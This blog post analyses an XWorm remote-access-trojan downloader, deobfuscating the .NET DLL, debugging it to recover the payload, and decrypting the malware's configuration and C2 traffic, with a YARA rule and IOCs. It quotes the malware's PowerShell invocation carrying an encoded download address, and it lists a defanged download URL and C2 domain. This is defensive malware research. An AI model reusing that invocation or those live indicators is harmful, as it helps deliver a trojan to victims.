Post

XWorm Part 2 - From Downloader to Config Extraction

Dissecting a .NET DLL Downloader and Extracting XWorm's Configuration.

XWorm Part 2 - From Downloader to Config Extraction

Overview

In Part 2 of this XWorm malware analysis series, we analyze a .NET DLL downloader responsible for delivering XWorm. This stage of the analysis focuses on using debugging techniques to extract the final payload, followed by performing decryption of XWorm’s configuration.

Technical Analysis

DLL Downloader

Dropping our extracted PE from Part 1 into Detect It Easy reveals a 32-bit .NET DLL.

figure 1 - Detect it Easy .NET DLL downloader output

Using dnSpy to decompile the DLL, we can navigate to the method invoked by the PowerShell script from Part 1, which is the VAI() method located inside of the Home class in the ClassLibrary1 namespace.

figure 2 - decompiled VAI() method from DLL downloader

This function accepts 17 string arguments relevant to the delivery of the final XWorm payload. Our sample passes an encrypted and Base64 encoded string, a path, and a few other values as seen in the below snippet.

1
2
3
$builder_args = @('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2L92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');

$loaded_assembly.GetType("ClassLibrary1.Home").GetMethod("VAI").Invoke($null, $builder_args);

To make static analysis easier, we can can try running the sample through de4dot, a popular .NET deobfuscation tool.

1
.\de4dot.exe .\assembly.mal

After loading the de4dot output file extracted_assembly-cleaned.mal into dnSpy, we can see it renamed symbols to be human-readable instead of Unicode escape sequences like \uE777.

figure 3 - cleaned output from de4dot showing deobfuscated symbols

There are several calls to methods like Class237.smethod_0() that accept integer values and return strings. This is indicative of runtime string decryption, used to hide strings from static analysis tools and only resolve them during execution. Navigating to this function shows that it accepts an integer to perform a lookup in a hashtable, where a string is returned.

figure 4 - string resolver function using hashtable lookup

We also see usage of a function that takes in a int32 value and returns a value of type int32, as well as one that takes in an int32 value and returns a double value. These are both used for constant unfolding1, hiding constant values from static analysis tools.

figure 5 - runtime double calculation method

figure 6 - runtime integer calculation method

We can replace all calls to these functions with their return value using a publicly available .NET string decryption tool written by n1ght-w0lf2. This will aid in static analysis, allowing us to observe strings and constants in cleartext. Within the script, we will have to define the signatures for our three target functions:

  • Class237.smethod_0(int32) → string — string resolver
  • Class239.smethod_3(int32) → double — double resolver
  • Class239.smethod_0(int32) → int32 — int resolver

Within the StringDecryptor class of the script, we can define our target function signatures as such, followed by running command python3 dotnet_string_decryptor.py .\assembly-cleaned.mal. This will output a new file assembly-cleaned_cleaned.mal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class StringDecryptor:
    # Target decryption functions to invoke
    DECRYPTION_METHOD_SIGNATURES = [
        {
            "Parameters": ["System.Int32"],
            "ReturnType": "System.String"
        },
        {
            "Parameters": ["System.Int32"],
            "ReturnType": "System.Double"
        },
        {
            "Parameters": ["System.Int32"],
            "ReturnType": "System.Int32"
        },
    ]

After dropping the output assembly into dnSpy and translating some of the Portuguese parameter names, we can begin to make sense of the main function. The first 54 lines perform various anti-vm checks, which we will want to skip past once debugging.

figure 7 - anti-vm checks in deobfuscated main function

Of interest are the last several lines that are executed after parameters are parsed, which appear to download data, perform operations on the data, before writing it to a directory and invoking it using x32.Run or x64.Load based on the victim host bitness.

figure 8 - payload download and execution logic based on architecture

Extracting XWorm

Using a dynamic approach, we can debug this DLL using dnSpy to extract the downloaded payload, where we use PowerShell as our debugger host process. Within our PowerShell process, we can load the assembly into memory and invoke functionality from the malware directly within the command line. This is a debugging trick I learned from a video by MalwareAnalysisForHedgehogs3 which I found posted in the OALabs malware reverse engineering Discord channel4.

Since the assembly is 32-bit, we can launch a 32-bit PowerShell process and run the following to reflectively load the assembly into our current process.

1
[Reflection.Assembly]::LoadFile("C:\Path\To\Assembly\assembly.mal");

Now that we have our assembly loaded into memory, we can open the original extracted DLL in dnSpy and attach the debugger to our PowerShell process by navigating to DebugAttach to Process. Unfortunately, exceptions are thrown when attempting to debug the cleaned DLL we received after running de4dot and the string decryptor. However, having the cleaned version open side-by-side as a reference was helpful during debugging.

Now, we can set a breakpoint on the first line of VAI() to avoid executing the anti-analysis checks, followed by setting a breakpoint on where the payload download logic begins.

figure 9 - breakpoint at start of VAI() before anti-vm logic

figure 10 - breakpoint set on payload download logic

With these breakpoints set, we can go back to our PowerShell window and invoke the VAI() method using the same parameters as the previous PowerShell script.

1
[ClassLibrary1.Home]::VAI('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2Lt92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');

Once we hit our initial breakpoint, we can navigate to our second breakpoint, right-click, and select “Set Next Statement” to skip past argument parsing and anti-vm checks.

After stepping through the code, we see a URL string is crafted using the first parameter passed to VAI().

figure 11 - reconstructed URL from first VAI() parameter

An HTTP GET request is then made to the crafted URL to download a hex encoded blob which is then reversed, revealing the magic bytes of a PE file 4D 5A.

figure 12 - hex payload showing MZ header

Opening the decoded PE file into Detect It Easy reveals a 32-bit .NET assembly.

figure 13 - Detect it Easy output for XWorm

Decompiling the assembly in dnSpy confirms we now have the final XWorm payload.

figure 14 - dnSpy shows XWorm identity

XWorm

Configuration Extraction

The entrypoint function [Stub.Main]::Main() performs a sleep operation before initializing a configuration contained within the [Settings] class. The configuration values are decrypted using AES in ECB mode with a 256 bit key.

figure 15 - XWorm configuration structure in memory

The decryption function [Stub.AlgorithmAES]::Decrypt() can be found below:

figure 16 - AES decryption routine for configuration

The Decrypt() function creates a key derived from the MD5 hash of the mutex value defined in the [Settings] class. We can decrypt the configuration using the below Python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Cipher import AES
import hashlib
import base64

# dictionary of encrypted config values
settings = {
	"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
	"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
	"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
	"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
	"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
	"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
	"Mutex" : "NOQFTA4Uaa0s9lW4"	
}

# generate key using mutex value
def get_key_from_mutex(mutex):
	mutex_md5 = hashlib.md5(mutex.encode())
	mutex_md5 = mutex_md5.hexdigest()
	key = bytearray(32)
	key[:16] = bytes.fromhex(mutex_md5)
	key[15:31] = bytes.fromhex(mutex_md5)
	key[31] = 0x00
	return key

# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
	decoded_setting = base64.b64decode(encrypted_setting)
	cipher = AES.new(key, AES.MODE_ECB)
	decrypted_setting = cipher.decrypt(decoded_setting)
	return decrypted_setting.decode('utf-8').strip()

def main():
	key = get_key_from_mutex(settings["Mutex"])

	print(f'Hosts: {decrypt_setting(key, settings["Hosts"])}')
	print(f'Port: {decrypt_setting(key, settings["Port"])}')
	print(f'KEY: {decrypt_setting(key, settings["KEY"])}')
	print(f'SPL: {decrypt_setting(key, settings["SPL"])}')
	print(f'Groub: {decrypt_setting(key, settings["Groub"])}')
	print(f'USBNM: {decrypt_setting(key, settings["USBNM"])}')
	print(f'Mutex: {settings["Mutex"]}')


if __name__=="__main__":
	main()

This script returns the below decrypted XWorm configuration.

figure 17 - decrypted configuration

C2 Protocol

XWorm communicates with its C2 server through AES GCM encrypted messages over TCP. The protcol begins with a number prefix representing the message length. This is then terminated by a null-byte, where the encrypted message follows. A simple visualization of the packet structure can be found below.

1
2
3
4
5
6
7
8
9
10
Packet Structure (Length Prefix + Null Delimiter + AES Encrypted Payload)

[0]      [1]      [2]      [3]      [4]      [5]      [6] ...
+--------+--------+--------+--------+--------+--------+--------+
|   '3'  |   '2'  |  \x00  |   ?    |   ?    |   ?    |   ?    |
+--------+--------+--------+--------+--------+--------+--------+
| Length | Length | Delim  |        AES Encrypted Message      |
+--------+--------+--------+--------+--------+--------+--------+
                                           ...

Messages are encrypted using their own method [Stub.Helper]::AES_Encryptor() which uses AES in ECB mode with a 256-bit key. The key is the MD5 hash of the decrypted KEY config setting. A screenshot of this method can be found below.

figure 18 - packet encryption method

The below script can be used to decrypt a packet sent by XWorm as seen in figure 19.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import hashlib
import base64

# hex encoded c2 packet
encrypted_packet = '3238380049d8de8dda622fe99fb29522a6ed7e513ec0d73f2e48a1717353eae6666c920dc909f579ab6723d4e38dfc30ed4cf5f5c3ec69abf4662a5311139742c01e1f64e0ee0d7af70ba2746b9f2967a1bc481d9c089681b5422db143c7fd35b7caad98b6c14974bf1d97cb6ad1eb50125c18f728c03469493a902d1318038cc9849b04d70b5c47fe8c1ac5afdc1b83fb6b81d3fdde8cb05a2ce87a7b8406e9c71213738ada85326b3f51cea837fcb2458cbf9087b679e4142e1192ab778e799d42a02c844baaa4c342353a135bd80cd9edafdf202d034ad583d9aab6bf31de87a8a6de8e4c3f52660aa5e2accd6d0a79b1e46380c7622dd58741ed416e7739b307301ae3d934ee087b14b2f7fc94bb8f988af49d7a84714192edf5b0f65ead118c5536'

# dictionary of encrypted config values
settings = {
	"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
	"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
	"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
	"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
	"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
	"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
	"Mutex" : "NOQFTA4Uaa0s9lW4"	
}

# generate config AES key using `Mutex` from config
def get_config_key(mutex_setting):
	mutex_md5 = hashlib.md5(mutex_setting.encode())
	mutex_md5 = mutex_md5.hexdigest()
	key = bytearray(32)
	key[:16] = bytes.fromhex(mutex_md5)
	key[15:31] = bytes.fromhex(mutex_md5)
	key[31] = 0x00
	return key

# generate c2 AES key using `KEY` from config
def get_c2_key(key_setting):
	key = get_config_key(settings["Mutex"])
	config_key = decrypt_setting(key, settings["KEY"])
	c2_key = bytes.fromhex(hashlib.md5(config_key).hexdigest())
	return c2_key

# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
	decoded_setting = base64.b64decode(encrypted_setting)
	cipher = AES.new(key, AES.MODE_ECB)
	decrypted_setting = unpad(cipher.decrypt(decoded_setting), AES.block_size)
	return decrypted_setting

# decrypt hex encoded c2 traffic
def decrypt_packet(c2_key, encrypted_packet):
	packet_bytes = bytes.fromhex(encrypted_packet.split("00", 1)[1]) # remove packet length header
	cipher = AES.new(c2_key, AES.MODE_ECB)
	decrypted_packet = unpad(cipher.decrypt(packet_bytes), AES.block_size)
	return decrypted_packet.decode("utf-8")

def main():
	c2_key = get_c2_key(settings["KEY"])
	print(f"\nDecrypted Packet:\n\n{decrypt_packet(c2_key, encrypted_packet)}")

if __name__=="__main__":
	main()

figure 19 - decrypted C2 check-in packet

YARA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
rule XWormRAT {
	meta:
		author = "Jared G."
		description = "Detects unpacked XWorm RAT"
		date = "2025-07-06"
		sha256 = "6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896"
		reference = "https://malwaretrace.net/posts/xworm-part-2"

    strings:
        $s1  = "-ExecutionPolicy Bypass -File" ascii wide
        $s2  = "sendPlugin" ascii wide
        $s3  = "savePlugin" ascii wide
        $s4  = "RemovePlugins" ascii wide
        $s5  = "Plugins Removed!" ascii wide
        $s6  = "Keylogger Not Enabled" ascii wide
        $s7  = "RunShell" ascii wide
        $s8  = "StartDDos" ascii wide
        $s9  = "StopDDos" ascii wide
        $s10 = "Win32_Processor.deviceid=\"CPU0\"" ascii wide
        $s11 = "SELECT * FROM Win32_VideoController" ascii wide
        $s12 = "Select * from AntivirusProduct" ascii wide
        $s13 = "set_ReceiveBufferSize" ascii wide
        $s14 = "set_SendBufferSize" ascii wide
        $s15 = "ClientSocket" ascii wide
        $s16 = "USBNM" ascii wide
        $s17 = "AES_Encryptor" ascii wide
        $s18 = "AES_Decryptor" ascii wide

    condition:
        12 of them
}

IOCs

All hashes from the below IOC table will be available for download on MalShare.

LabelIOC
XWorm Download URLhxxp[://]deadpoolstart[.]lovestoblog[.]com/arquivo_e1502b7358874d6086b38a71038423c2[.]txt
XWorm C2deadpoolstart2064[.]duckdns[.]org:7021
DLL Downloader SHA-256 Hashc2bce00f20b3ac515f3ed3fd0352d203ba192779d6b84dbc215c3eec3a3ff19c
XWorm SHA-256 Hash6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896

References and Resources

  1. https://www.elastic.co/security-labs/deobfuscating-alcatraz#constant-unfolding ↩︎

  2. https://github.com/n1ght-w0lf/dotnet-string-decryptor/ ↩︎

  3. https://www.youtube.com/watch?v=wLf_Ln8jupY&t=1300s ↩︎

  4. https://discord.gg/oalabs ↩︎

This post is licensed under CC BY 4.0 by the author.